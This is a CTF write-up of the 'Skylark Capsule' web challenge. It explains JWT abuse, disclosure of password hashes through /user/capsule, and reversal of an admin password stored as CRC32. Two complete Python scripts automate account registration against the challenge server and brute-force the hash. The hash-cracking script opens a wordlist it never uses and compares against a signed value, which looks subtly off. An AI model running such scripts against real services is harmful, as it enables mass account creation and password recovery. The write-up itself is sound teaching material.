Skip to content

Hacky Holidays CTF 2021: Skylark Capsule

TL;DR

  • User registration and login return a JWT with excessive privileges.
  • Any authenticated user can query /user/capsule and retrieve password hashes.
  • The admin password is stored as a signed CRC32 integer.
  • CRC32 is reversible via brute force due to small input space.
  • Recovering the original password grants full access.

Video Walkthrough

Hacky Holidays Space Race CTF 2021 Skylark Capsule web video walkthrough demonstrating JWT abuse, password hash disclosure, and CRC32 reversal

Challenge Description

We have the best capsules available for your deployment into space!

Solution

brute.py

from pwn import *
import requests
import json

# Change between info/debug for more verbosity
context.log_level = 'debug'

url = 'https://todo.challenge.hackazon.org'
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r')
admin_pw = '-432570933'  # Got this from part 1 of challenge

for count, password in enumerate(wordlist):
    headers = {}
    password = password.strip()
    if password:
        # Creds to try
        credentials = {
            'username': 'y' + str(count),
            'email': str(count),
            'password': password
        }

        # Register new account
        response = requests.post(url + "/user/register", json=credentials)
        del credentials['email']  # Don't need email to login

        # Login with new account
        response = requests.post(url + "/user/login", json=credentials)

        # Assign JWT token as auth header
        headers['Authorization'] = 'Bearer ' + json.loads(response.text)['token']

        # Get capsule spec
        response = requests.get(url + "/user/capsule", headers=headers)

        # Extract the password
        hashed_pw = json.loads(response.text)['data'][0]['password']
        debug(admin_pw + ': ' + hashed_pw + ' (' + password + ')')

        # If we get a match, quit!
        if hashed_pw == admin_pw:
            print("Success! Correct password was: " + password)
            wordlist.close()
            quit()

        # Track progress / performance
        if((count + 1) % 100 == 0):
            print(str(count + 1) + " attempts so far..")

# Maybe we need new password list?
print("Failed to find correct password :(")
wordlist.close()

hashcrack.py

from pwn import *
import zlib

wordlist = open('/usr/share/wordlists/rockyou.txt', 'r')
admin_pw = -432570933
initial_pw = 'skylark'

for count in range(99999999999):
    password = str(count)
    hashed_pw = zlib.crc32(password.encode())
    print(hashed_pw)
    # If we get a match, quit!
    if hashed_pw == admin_pw:
        print("Success! Correct password was: " + password)
        wordlist.close()
        quit()

    # Track progress / performance
    if((count + 1) % 100 == 0):
        print(str(count + 1) + " attempts so far..")

# Maybe we need new password list?
print("Failed to find correct password :(")
wordlist.close()